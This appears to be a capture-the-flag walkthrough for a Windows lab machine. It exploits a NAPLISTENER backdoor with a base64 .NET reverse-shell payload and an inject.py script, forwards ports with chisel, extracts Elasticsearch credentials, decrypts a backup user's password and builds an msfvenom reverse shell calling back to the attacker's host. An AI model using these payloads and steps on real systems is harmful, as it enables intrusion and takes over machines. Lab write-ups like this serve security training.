$ nmap -p- --min-rate 3000 10.129.212.24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-13 06:54 EST
Nmap scan report for 10.129.212.24
Host is up (0.0085s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
7680/tcp open pando-pub
Did a detailed scan as well:
$ nmap -p 80,443,7680 -sC -sV --min-rate 3000 10.129.212.24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-13 06:56 EST
Nmap scan report for 10.129.212.24
Host is up (0.0072s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Hugo 0.112.3
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
|_ssl-date: 2023-11-13T11:56:35+00:00; -14s from scanner time.
|_http-title: Research Blog | Home
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -14s
I added app.napper.htb and napper.htb to the /etc/hosts file before proceeding with web enumeration.
Web Enum -> Subdomain Enumeration
The website was a security research blog:
There was nothing interesting about the content written there, so I proceeded with the usual fuzzing via wfuzz and gobuster, with the former finding another subdomain.
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.napper.htb' --hl=186 -u https://napper.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://napper.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000387: 401 29 L 100 W 1293 Ch "internal"
Visiting this required credentials, which I did not have yet. Looking around at the posts on the blog, I figured the credentials had to be somewhere within one of the posts.
One of the posts was about setting up basic authentication on IIS:
And within that blog, there was an example user used:
I found that example:ExamplePassword worked in authenticating to the internal subdomain.
This page contained some exclusive information about the website, including some kind of backdoor available.
TLDR, here are the interesting parts:
[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. [...]
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
So, I needed a base64 encoded .NET binary to run here. The references were pretty important to read as well:
This basically told us how the binary works, and the value submitted in the parameter will have an assembly object created and executed it using the Run method. The resources were incredibly detailed, so I figured that the exploit used here has to be similar as well.
The blog also contained a nice Python Poc to run payloads:
Payload Creation -> Reverse Shell
I used a basic reverse C# reverse shell that executed powershell.exe (as cmd.exe didn't work for some reason). The code must have a class called Run and a constructor for it.
Afterwards, I used mono to compile the program to get payload.exe.
$ mcs payload.cs
payload.cs(52,17): warning CS0219: The variable `runInstance' is assigned but its value is never used
payload.cs(67,34): warning CS0168: The variable `err' is declared but never used
Compilation succeeded - 2 warning(s)
The next step would be to encode this using base64 and plop it in our inject.py.
$ base64 -w0 payload.exe| xclip -sel clip
Here's the final inject.py script:
import requestsfrom urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)payload="<PAYLOAD HERE>"hosts =["napper.htb"]form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"for h in hosts: url_ssl=f"https://{h}/ews/MsExgHealthCheckd/"try: r_ssl=requests.post(url_ssl,data=form_field,verify=False)print(f"{url_ssl} : {r_ssl.status_code}{r_ssl.headers}")exceptKeyboardInterrupt:exit()exceptExceptionas e:print(e)pass
Interesting. There was also a directory within C:\Temp that was not the default:
PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/9/2023 12:18 AM www
PS C:\Temp\www> dir
Directory: C:\Temp\www
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/9/2023 12:18 AM app
d----- 6/9/2023 12:18 AM internal
Witin the internal directory, I looked around and found some interesting files:
PS C:\Temp\www\internal\content\posts\internal-laps-alpha> dir
Directory: C:\Temp\www\internal\content\posts\internal-laps-alpha
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/9/2023 12:28 AM 82 .env
-a---- 6/9/2023 12:20 AM 12697088 a.exe
type .env
PS C:\Temp\www\internal\content\posts\internal-laps-alpha> type .env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200
It seems that Elastic is running on the machine on port 9200, and there's also a weird a.exe binary present. Running it does nothing though.
Elastic + Reversing
Firstly, I used chisel to forward port 9200 to my machine.
# on kali./chiselserver--port4444--reverse# on machinecmd/c.\chisel.execlient10.10.14.33:4444R:9200:127.0.0.1:9200
When I visited https://localhost:9200, it required credentials to get in. Fortunately, C:\Program Files contained some Elastic files.
PS C:\Program Files> dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/7/2023 6:39 AM Common Files
d----- 6/8/2023 3:20 AM elasticsearch-8.8.0
<TRUNCATED>
Spent like an hour here trying to find out the correct password. Ended up doing Get-ChildItem -Recurse | Select-String -Pattern "password" -List and just going through each line until I found this:
finish...Failed starting Java.serviceStopStopping service...Failed to create process.Service
started in %d milliseconds.Failed to execute process.%d
data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_jc.cfs:21:?metadata":{},"realm":"__attach"Z▒?}}?reserv?5ed-user-
elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?
I tried a username of user and elastic with this password, and elastic worked.
Still wasn't sure what this stuff was for though. I tried making a query via _search:
Got some encoded blob here. Interestingly, this blob changes each time, and it is not fixed. This might be a password of some sorts.
Anyways, time to take a look at the binary, which was built in Golang based on ghidra.
I was unable to decode anything meaningful using it, so I looked online to see if there were any plugins or alternatives I could use. Apparently, there's a Golang extension for ghidra.
After downloading this extension and restarting ghidra, a new window popped up.
The binary took a bit longer to analyse. Within the main function, I saw this:
Seems that the binary is attempting to executing cmd.exe /c net user backup. There was also this part that was encrypting something:
Based on all of the information, it seems that the seed used for random generation and some encrypted blob was on Elastic, and it might be a password for the backup user.
Password Decryption -> Root
The blob and seed used was changing every 5 minutes on Elastic. This is the key generation algorithm:
The key is just 1 + rand.Intn(254). Since this uses AES, the IV should be part of the encrypted blob as well.
Based on the fact that the seed is given, I'm assuming insecure RNG is used and the rand parts are actually deterministic. Based on this fact, I ChatGPT-d a Go script to run and decrypt the password:
$ go run password.go
Password: qlYCiZFDaRZhnCULUxjxChrntdAfHCmVVwHFnVxS
Using this password, RunasCs.exe can be used to gain execution as the backup user.
Afterwards, I can easily use this to get a shell as the backup user via another msfvenom shell.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.33 LPORT=443 -f exe > rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
As backup, I was given full privileges to the machine:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
The user is also part of the Administrators group:
C:\Windows\system32>net user backup
net user backup
User name backup
Full Name backup
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/13/2023 8:49:00 PM
Password expires Never
Password changeable 11/13/2023 8:49:00 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/13/2023 8:51:47 PM
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
I could read the root.txt flag, meaning this machine was effectively rooted since backup was an administrator.